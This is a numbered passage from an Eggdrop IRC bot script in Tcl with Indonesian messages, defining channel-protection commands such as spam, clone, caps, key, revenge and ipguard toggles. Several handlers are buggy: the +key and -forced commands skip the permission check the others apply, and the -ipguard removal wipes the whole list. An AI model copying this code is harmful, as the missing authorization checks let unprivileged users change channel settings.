8249if {[matchattr $cflag R]} { append mstatus "\[7R\]ePeaT4 [getuser $cflag XTRA "RPT"] " }
8250if {[matchattr $cflag U]} { append mstatus "\[7C\]aPs4 [getuser $cflag XTRA "CAPS"]% " }
8251if {[matchattr $cflag P]} { append mstatus "JoIN\[7P\]aRT4 [getuser $cflag XTRA "JP"]7 Sec's " }
8252if {[matchattr $cflag T]} { append mstatus "\[7T\]exT4 [getuser $cflag XTRA "CHAR"]7 CHaR " }
8253if {[matchattr $cflag J]} { append mstatus "MaSs\[7J\]oIN " }
8254if {[matchattr $cflag L]} { append mstatus "\[7L\]ImITEd4 +[getuser $cflag XTRA "LIMIT"] " }
8255if {[matchattr $cflag O]} { append mstatus "\[7C\]LonE4 [getuser $cflag XTRA "CLONE"]7 MaX " }
8256if {[matchattr $cflag B]} { append mstatus "\[7B\]OLd " }
8257if {[matchattr $cflag W]} { append mstatus "Co\[7L\]OuR " }
8258if {[string match "*+action*" $cinfo]} { append mstatus "\[7AC\]Tion " }
8259if {[string match "*+guest*" $cinfo]} { append mstatus "\[7No\]GUesT " }
8260if {[string match "*+trojan*" $cinfo]} { append mstatus "\[7No\]TrojaN " }
8261if {[string match "*+resync*" $cinfo]} { append mstatus "\[7A\]utoResync " }
8262if {[string match "*+noaway*" $cinfo] && [string match "*+noidle*" $cinfo] && [string match "*+unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 9ON7 idle:4 [getuser $cflag XTRA "NOIDLE"] 9Min's7 unident: 9ON\) " }
8263if {[string match "*+noaway*" $cinfo] && [string match "*+noidle*" $cinfo] && [string match "*-unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 9ON7 idle:4 [getuser $cflag XTRA "NOIDLE"] 9Min's7 unident: 4OFF\) " }
8264if {[string match "*+noaway*" $cinfo] && [string match "*-noidle*" $cinfo] && [string match "*+unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 9ON7 idle: 4OFF7 unident: 9ON\) " }
8265if {[string match "*-noaway*" $cinfo] && [string match "*+noidle*" $cinfo] && [string match "*+unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 4OFF7 idle:4 [getuser $cflag XTRA "NOIDLE"] 9Min's7 unident: 9ON\) " }
8266if {[string match "*-noaway*" $cinfo] && [string match "*-noidle*" $cinfo] && [string match "*+unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 4OFF7 idle: 4OFF7 unident: 9ON\) " }
8267if {[string match "*-noaway*" $cinfo] && [string match "*-noidle*" $cinfo] && [string match "*-unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 4OFF7 idle: 4OFF7 unident: 4OFF\) " }
8268if {[string match "*-noaway*" $cinfo] && [string match "*+noidle*" $cinfo] && [string match "*-unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 4OFF7 idle:4 [getuser $cflag XTRA "NOIDLE"] 9Min's7 unident: 4OFF\) " }
8269if {[string match "*+noaway*" $cinfo] && [string match "*-noidle*" $cinfo] && [string match "*-unident*" $cinfo]} { append mstatus "De\[7@\]ps\(7away: 9ON7 idle: 4OFF7 unident: 4OFF\) " }
8270if {[matchattr $cflag E]} { append mstatus "\[7E\]nFoRceBaN " }
8271if {[matchattr $cflag C]} { append mstatus "\[7C\]YcLE4 [getuser $cflag XTRA "CYCLE"]7 Min's " }
8272if {$mstatus != ""} {
8273set mstatus "FoR \[4[string tolower $channel]\] ${mstatus}"
8274}
8275if {$globals != ""} {
8276if {[getuser "config" XTRA "ADMIN"]!=""} {
8277set globals "${globals}[getuser "config" XTRA "ADMIN"] [lgrnd]"
8278} {
8279set globals "${globals}[lgrnd]"
8280}
8281}
8282set chan "0"; foreach x [channels] { incr chan }
8283if {[string match "*c*" [getchanmode $channel]]} {
8284set mstatus [uncolor $mstatus]
8285set globals [uncolor $globals]
8286regsub -all -- $mstatus "" mstatus
8287regsub -all -- $globals "" globals
8288}
8289puthelp "PRIVMSG $channel :\001ACTION Running with: [expr $chan - 1] channels, [countusers] users, from [shelluptime]\001"
8290puthelp "PRIVMSG $channel :\001ACTION Local Modes: $mstatus\001"
8291puthelp "PRIVMSG $channel :\001ACTION Global Modes: $globals\001"
8292}
8293proc pub_+spam {nick uhost hand chan rest} {
8294global notc
8295if {$rest != ""} {
8296set chan [lindex $rest 0]
8297if {[string first # $chan]!=0} {
8298set chan "#$chan"
8299}
8300}
8301set cflag "c$chan"
8302set cflag [string range $cflag 0 8]
8303if {[string tolower $chan] == "#all"} {
8304if {![matchattr $nick Q]} {
8305puthlp "NOTICE $nick :$notc 4D14itolak1!"
8306return 0
8307}
8308foreach x [userlist A] {
8309chattr $x +S
8310}
8311puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[9ON\]"
8312return 0
8313}
8314if {![validchan $chan]} { return 0 }
8315if {[matchattr $cflag S]} {
8316puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"
8317return 0
8318}
8319if {![matchattr $nick Q]} {
8320puthlp "NOTICE $nick :$notc 4D14itolak1!"
8321return 0
8322}
8323chattr $cflag +S
8324puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"
8325saveuser
8326}
8327proc pub_-spam {nick uhost hand chan rest} {
8328global notc
8329if {$rest != ""} {
8330set chan [lindex $rest 0]
8331if {[string first # $chan]!=0} {
8332set chan "#$chan"
8333}
8334}
8335set cflag "c$chan"
8336set cflag [string range $cflag 0 8]
8337if {[string tolower $chan] == "#all"} {
8338if {![matchattr $nick Q]} {
8339puthlp "NOTICE $nick :$notc 4D14itolak1!"
8340return 0
8341}
8342foreach x [userlist A] {
8343chattr $x -S
8344}
8345puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[4OFF\]"
8346return 0
8347}
8348if {![validchan $chan]} { return 0 }
8349if {![matchattr $cflag S]} {
8350puthlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]"
8351return 0
8352}
8353if {![matchattr $nick Q]} {
8354puthlp "NOTICE $nick :$notc 4D14itolak1!"
8355return 0
8356}
8357chattr $cflag -S
8358puthlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]"
8359saveuser
8360}
8361proc pub_+cycle {nick uhost hand chan rest} {
8362global notc
8363set cflag "c$chan"
8364set cflag [string range $cflag 0 8]
8365if {$rest=="" || ![isnumber $rest]} {
8366puthlp "NOTICE $nick :$notc Usage +cYcLe <minutes>"
8367return 0
8368}
8369if {$rest == 0} {
8370puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
8371return 0
8372}
8373if {![matchattr $nick Q]} {
8374puthlp "NOTICE $nick :$notc 4D14itolak1!"
8375return 0
8376}
8377chattr $cflag +C
8378setuser $cflag XTRA "CYCLE" $rest
8379puthlp "NOTICE $nick :$notc cYcLe $chan \[9$rest\] MnT"
8380if {![istimer "cycle $chan"]} { timer $rest [cycle $chan] }
8381saveuser
8382}
8383proc pub_-cycle {nick uhost hand chan rest} {
8384global notc
8385set cflag "c$chan"
8386set cflag [string range $cflag 0 8]
8387if {![matchattr $nick Q]} {
8388puthlp "NOTICE $nick :$notc 4D14itolak1!"
8389return 0
8390}
8391chattr $cflag -C
8392setuser $cflag XTRA "CYCLE" ""
8393puthlp "NOTICE $nick :$notc cYcLe $chan \[4OFF\]"
8394saveuser
8395foreach x [timers] {
8396if {[string match "*cycle $chan*" $x]} { killtimer [lindex $x 2] }
8397}
8398}
8399proc pub_+greet {nick uhost hand chan rest} {
8400global notc
8401set cflag "c$chan"
8402set cflag [string range $cflag 0 8]
8403if {$rest==""} {
8404puthlp "NOTICE $nick :$notc Usage +greet <msg>"
8405return 0
8406}
8407if {![matchattr $nick Q]} {
8408puthlp "NOTICE $nick :$notc 4D14itolak1!"
8409return 0
8410}
8411chattr $cflag +G
8412setuser $cflag XTRA "GREET" $rest
8413puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[$rest\]"
8414saveuser
8415}
8416proc pub_-greet {nick uhost hand chan rest} {
8417global notc
8418set cflag "c$chan"
8419set cflag [string range $cflag 0 8]
8420if {![matchattr $nick Q]} {
8421puthlp "NOTICE $nick :$notc 4D14itolak1!"
8422return 0
8423}
8424chattr $cflag -G
8425setuser $cflag XTRA "GREET" ""
8426puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[4OFF\]"
8427saveuser
8428}
8429proc pub_+limit {nick uhost hand chan rest} {
8430global notc
8431if {$rest == "" || ![isnumber $rest]} {
8432puthlp "NOTICE $nick :$notc Usage: +limit <number>"
8433return 0
8434}
8435if {$rest == 0} {
8436puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
8437return 0
8438}
8439set cflag "c$chan"
8440set cflag [string range $cflag 0 8]
8441if {![matchattr $nick Q]} {
8442puthlp "NOTICE $nick :$notc 4D14itolak1!"
8443return 0
8444}
8445chattr $cflag +L
8446setuser $cflag XTRA "LIMIT" $rest
8447puthlp "NOTICE $nick :$notc LImIT $chan \[9$rest\]"
8448saveuser
8449}
8450proc pub_-limit {nick uhost hand chan rest} {
8451global notc lst_limit
8452set cflag "c$chan"
8453set cflag [string range $cflag 0 8]
8454if {![matchattr $nick Q]} {
8455puthlp "NOTICE $nick :$notc 4D14itolak1!"
8456return 0
8457}
8458chattr $cflag -L
8459setuser $cflag XTRA "LIMIT" ""
8460puthlp "NOTICE $nick :$notc LImIT $chan \[4OFF\]"
8461catch { lst_limit($chan) }
8462saveuser
8463}
8464proc pub_+topic {nick uhost hand chan rest} {
8465global notc
8466set cflag "c$chan"
8467set cflag [string range $cflag 0 8]
8468if {![matchattr $nick Q]} {
8469puthlp "NOTICE $nick :$notc 4D14itolak1!"
8470return 0
8471}
8472chattr $cflag +I
8473setuser $cflag XTRA "TOPIC" [topic $chan]
8474puthlp "NOTICE $nick :$notc TopIc $chan \[9LocK\]"
8475saveuser
8476}
8477proc pub_-topic {nick uhost hand chan rest} {
8478global notc lst_limit
8479set cflag "c$chan"
8480set cflag [string range $cflag 0 8]
8481if {![matchattr $nick Q]} {
8482puthlp "NOTICE $nick :$notc 4D14itolak1!"
8483return 0
8484}
8485chattr $cflag -I
8486setuser $cflag XTRA "TOPIC" ""
8487puthlp "NOTICE $nick :$notc TopIc $chan \[4UnLocK\]"
8488saveuser
8489}
8490proc pub_+joinpart {nick uhost hand chan rest} {
8491global notc
8492set cflag "c$chan"
8493set cflag [string range $cflag 0 8]
8494if {$rest=="" || ![isnumber $rest]} {
8495puthlp "NOTICE $nick :$notc Usage +joinpart <seconds>"
8496return 0
8497}
8498if {$rest == 0} {
8499puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
8500return 0
8501}
8502if {![matchattr $nick Q]} {
8503puthlp "NOTICE $nick :$notc 4D14itolak1!"
8504return 0
8505}
8506chattr $cflag +P
8507setuser $cflag XTRA "JP" $rest
8508puthlp "NOTICE $nick :$notc JoINPaRT $chan \[9$rest Sec's\]"
8509saveuser
8510}
8511proc pub_-joinpart {nick uhost hand chan rest} {
8512global notc
8513set cflag "c$chan"
8514set cflag [string range $cflag 0 8]
8515if {![matchattr $nick Q]} {
8516puthlp "NOTICE $nick :$notc 4D14itolak1!"
8517return 0
8518}
8519chattr $cflag -P
8520setuser $cflag XTRA "JP" ""
8521puthlp "NOTICE $nick :$notc JoINPaRT $chan \[4OFF\]"
8522saveuser
8523}
8524proc pub_+clone {nick uhost hand chan rest} {
8525global notc
8526set cflag "c$chan"
8527set cflag [string range $cflag 0 8]
8528if {$rest=="" || ![isnumber $rest]} {
8529puthlp "NOTICE $nick :$notc Usage +clone <max>"
8530return 0
8531}
8532if {$rest == 0} {
8533puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
8534return 0
8535}
8536if {![matchattr $nick Q]} {
8537puthlp "NOTICE $nick :$notc 4D14itolak1!"
8538return 0
8539}
8540chattr $cflag +O
8541setuser $cflag XTRA "CLONE" $rest
8542puthlp "NOTICE $nick :$notc cLonE $chan MaX \[9$rest\]"
8543saveuser
8544}
8545proc pub_-clone {nick uhost hand chan rest} {
8546global notc
8547set cflag "c$chan"
8548set cflag [string range $cflag 0 8]
8549if {![matchattr $nick Q]} {
8550puthlp "NOTICE $nick :$notc 4D14itolak1!"
8551return 0
8552}
8553chattr $cflag -O
8554setuser $cflag XTRA "CLONE" ""
8555puthlp "NOTICE $nick :$notc cLonE $chan \[4OFF\]"
8556saveuser
8557}
8558proc pub_+key {nick uhost hand chan rest} {
8559global notc
8560set cflag "c$chan"
8561set cflag [string range $cflag 0 8]
8562set rest [lindex $rest 0]
8563if {$rest==""} {
8564puthlp "NOTICE $nick :$notc Usage +key <word>"
8565return 0
8566}
8567chattr $cflag +K
8568setuser $cflag XTRA "CI" [zip $rest]
8569puthlp "NOTICE $nick :$notc KeY $chan \[9$rest\]"
8570saveuser
8571}
8572proc pub_-key {nick uhost hand chan rest} {
8573global notc
8574set cflag "c$chan"
8575set cflag [string range $cflag 0 8]
8576if {![matchattr $nick Q]} {
8577puthlp "NOTICE $nick :$notc 4D14itolak1!"
8578return 0
8579}
8580chattr $cflag -K
8581setuser $cflag XTRA "CI" ""
8582puthlp "NOTICE $nick :$notc KeY $chan \[4OFF\]"
8583saveuser
8584}
8585proc pub_+text {nick uhost hand chan rest} {
8586global notc
8587set cflag "c$chan"
8588set cflag [string range $cflag 0 8]
8589if {$rest=="" || ![isnumber $rest]} {
8590puthlp "NOTICE $nick :$notc Usage +text <max>"
8591return 0
8592}
8593if {$rest == 0} {
8594puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
8595return 0
8596}
8597if {![matchattr $nick Q]} {
8598puthlp "NOTICE $nick :$notc 4D14itolak1!"
8599return 0
8600}
8601chattr $cflag +T
8602setuser $cflag XTRA "CHAR" $rest
8603puthlp "NOTICE $nick :$notc TexT $chan MaX \[9$rest\]"
8604saveuser
8605}
8606proc pub_-text {nick uhost hand chan rest} {
8607global notc
8608set cflag "c$chan"
8609set cflag [string range $cflag 0 8]
8610if {![matchattr $nick Q]} {
8611puthlp "NOTICE $nick :$notc 4D14itolak1!"
8612return 0
8613}
8614chattr $cflag -T
8615setuser $cflag XTRA "CHAR" ""
8616puthlp "NOTICE $nick :$notc TexT $chan \[4OFF\]"
8617saveuser
8618}
8619proc pub_+caps {nick uhost hand chan rest} {
8620global notc
8621set cflag "c$chan"
8622set cflag [string range $cflag 0 8]
8623if {$rest=="" || ![isnumber $rest]} {
8624puthlp "NOTICE $nick :$notc Usage +caps <%percent>"
8625return 0
8626}
8627if {$rest == 0 || $rest > 100} {
8628puthlp "NOTICE $nick :$notc fill under 1 - 100%"
8629return 0
8630}
8631if {![matchattr $nick Q]} {
8632puthlp "NOTICE $nick :$notc 4D14itolak1!"
8633return 0
8634}
8635chattr $cflag +U
8636setuser $cflag XTRA "CAPS" $rest
8637puthlp "NOTICE $nick :$notc CAPS $chan \[9$rest%\]"
8638saveuser
8639}
8640proc pub_-caps {nick uhost hand chan rest} {
8641global notc
8642set cflag "c$chan"
8643set cflag [string range $cflag 0 8]
8644if {![matchattr $nick Q]} {
8645puthlp "NOTICE $nick :$notc 4D14itolak1!"
8646return 0
8647}
8648chattr $cflag -U
8649setuser $cflag XTRA "CAPS" ""
8650puthlp "NOTICE $nick :$notc cAPs $chan \[4OFF\]"
8651saveuser
8652}
8653proc pub_+repeat {nick uhost hand chan rest} {
8654global notc
8655set cflag "c$chan"
8656set cflag [string range $cflag 0 8]
8657if {$rest=="" || ![isnumber $rest]} {
8658puthlp "NOTICE $nick :$notc Usage +repeat <max>"
8659return 0
8660}
8661if {$rest == 0} {
8662puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
8663return 0
8664}
8665if {![matchattr $nick Q]} {
8666puthlp "NOTICE $nick :$notc 4D14itolak1!"
8667return 0
8668}
8669chattr $cflag +R
8670setuser $cflag XTRA "RPT" $rest
8671puthlp "NOTICE $nick :$notc RePeaT $chan MaX \[9$rest\]"
8672saveuser
8673}
8674proc pub_-repeat {nick uhost hand chan rest} {
8675global notc
8676set cflag "c$chan"
8677set cflag [string range $cflag 0 8]
8678if {![matchattr $nick Q]} {
8679puthlp "NOTICE $nick :$notc 4D14itolak1!"
8680return 0
8681}
8682chattr $cflag -R
8683setuser $cflag XTRA "RPT" ""
8684puthlp "NOTICE $nick :$notc RePeaT $chan \[4OFF\]"
8685saveuser
8686}
8687proc pub_+autovoice {nick uhost hand chan rest} {
8688global notc
8689set cflag "c$chan"
8690set cflag [string range $cflag 0 8]
8691if {$rest=="" || ![isnumber $rest]} {
8692puthlp "NOTICE $nick :$notc Usage +AuTovoIcE <secs>"
8693return 0
8694}
8695if {$rest == 0} {
8696puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
8697return 0
8698}
8699if {![matchattr $nick Q]} {
8700puthlp "NOTICE $nick :$notc 4D14itolak1!"
8701return 0
8702}
8703chattr $cflag +V
8704setuser $cflag XTRA "VC" $rest
8705puthlp "NOTICE $nick :$notc AuTovoIcE $chan qUeUe \[9$rest\] 2nd"
8706saveuser
8707pub_mvoice $nick $uhost $hand $chan ""
8708}
8709proc pub_-autovoice {nick uhost hand chan rest} {
8710global notc
8711set cflag "c$chan"
8712set cflag [string range $cflag 0 8]
8713if {![matchattr $nick Q]} {
8714puthlp "NOTICE $nick :$notc 4D14itolak1!"
8715return 0
8716}
8717chattr $cflag -V
8718setuser $cflag XTRA "VC" ""
8719puthlp "NOTICE $nick :$notc AuTovoIcE $chan \[4OFF\]"
8720saveuser
8721foreach x [utimers] {
8722if {[string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }
8723}
8724}
8725proc pub_+enforceban {nick uhost hand chan rest} {
8726global notc
8727set cflag "c$chan"
8728set cflag [string range $cflag 0 8]
8729if {![matchattr $nick Q]} {
8730puthlp "NOTICE $nick :$notc 4D14itolak1!"
8731return 0
8732}
8733chattr $cflag +E
8734puthlp "NOTICE $nick :$notc enforceban $chan \[9ON\]"
8735saveuser
8736}
8737proc pub_-enforceban {nick uhost hand chan rest} {
8738global notc
8739set cflag "c$chan"
8740set cflag [string range $cflag 0 8]
8741if {![matchattr $nick Q]} {
8742puthlp "NOTICE $nick :$notc 4D14itolak1!"
8743return 0
8744}
8745chattr $cflag -E
8746puthlp "NOTICE $nick :$notc enforceban $chan \[4OFF\]"
8747saveuser
8748}
8749proc pub_+revenge {nick uhost hand chan rest} {
8750global notc
8751set cflag "c$chan"
8752set cflag [string range $cflag 0 8]
8753if {![matchattr $nick Q]} {
8754puthlp "NOTICE $nick :$notc 4D14itolak1!"
8755return 0
8756}
8757chattr $cflag +D
8758puthlp "NOTICE $nick :$notc revenge $chan \[9ON\]"
8759saveuser
8760}
8761proc pub_-revenge {nick uhost hand chan rest} {
8762global notc
8763set cflag "c$chan"
8764set cflag [string range $cflag 0 8]
8765if {![matchattr $nick Q]} {
8766puthlp "NOTICE $nick :$notc 4D14itolak1!"
8767return 0
8768}
8769chattr $cflag -D
8770puthlp "NOTICE $nick :$notc revenge $chan \[4OFF\]"
8771saveuser
8772}
8773proc pub_+forced {nick uhost hand chan rest} {
8774global notc
8775set cflag "c$chan"
8776set cflag [string range $cflag 0 8]
8777if {![matchattr $nick Q]} {
8778puthlp "NOTICE $nick :$notc 4D14itolak1!"
8779return 0
8780}
8781chattr $cflag +M
8782puthlp "NOTICE $nick :$notc forced $chan \[9ON\]"
8783saveuser
8784}
8785proc pub_-forced {nick uhost hand chan rest} {
8786global notc
8787set cflag "c$chan"
8788set cflag [string range $cflag 0 8]
8789chattr $cflag -M
8790puthlp "NOTICE $nick :$notc forced $chan \[4OFF\]"
8791saveuser
8792}
8793proc pub_-colour {nick uhost hand chan rest} {
8794global notc kickclr
8795if {![matchattr $nick Q]} {
8796puthlp "NOTICE $nick :$notc 4D14itolak1!"
8797return 0
8798}
8799set kickclr "T"
8800setuser "config" XTRA "KCLR" "Y"
8801puthlp "NOTICE $nick :$notc colour kick \[4OFF\]"
8802saveuser
8803}
8804proc pub_+colour {nick uhost hand chan rest} {
8805global notc kickclr
8806if {![matchattr $nick Q]} {
8807puthlp "NOTICE $nick :$notc 4D14itolak1!"
8808return 0
8809}
8810catch {unset kickclr}
8811setuser "config" XTRA "KCLR" ""
8812puthlp "NOTICE $nick :$notc colour kick \[9ON\]"
8813saveuser
8814}
8815proc pub_+ipguard {nick uhost hand channel param} {
8816global botname botnick notc botnick
8817set rest [lindex $param 0]
8818if {$rest == ""} {
8819puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"
8820return 0
8821}
8822if {$rest == "*" || $rest == "*!*@*"} {
8823puthlp "NOTICE $nick :$notc invalid hostname..!"
8824return 0
8825}
8826if {![string match "*@*" $rest]} {
8827puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"
8828return 0
8829}
8830set ipguard [getuser "config" XTRA "IPG"]
8831foreach y $ipguard {
8832if {$y == $rest} {
8833puthlp "NOTICE $nick :$notc $rest allready added..!"
8834return 0
8835}
8836}
8837if {![matchattr $nick Q]} {
8838puthlp "NOTICE $nick :$notc 4D14itolak1!"
8839return 0
8840}
8841puthlp "NOTICE $nick :$notc add \[$rest\] To IpguaRd"
8842lappend ipguard $rest
8843setuser "config" XTRA "IPG" $ipguard
8844saveuser
8845return 0
8846}
8847proc pub_-ipguard {nick uhost hand channel param} {
8848global notc
8849set rest [lindex $param 0]
8850if {$rest == ""} {
8851puthlp "NOTICE $nick :$notc Usage: -ipguard <hostname>"
8852return 0
8853}
8854if {![matchattr $nick Q]} {
8855puthlp "NOTICE $nick :$notc 4D14itolak1!"
8856return 0
8857}
8858set ipguard [getuser "config" XTRA "IPG"]
8859set nipg ""
8860set ok "F"
8861foreach y $ipguard {
8862if {$y == $rest} {
8863set ok "T"
8864puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM IpguaRd"
8865} {
8866lappend nipg
8867}
8868}
8869if {$ok == "T"} {
8870setuser "config" XTRA "IPG" $nipg
8871saveuser
8872return 0
8873}
8874puthlp "NOTICE $nick :$notc $rest not founded..!"
8875}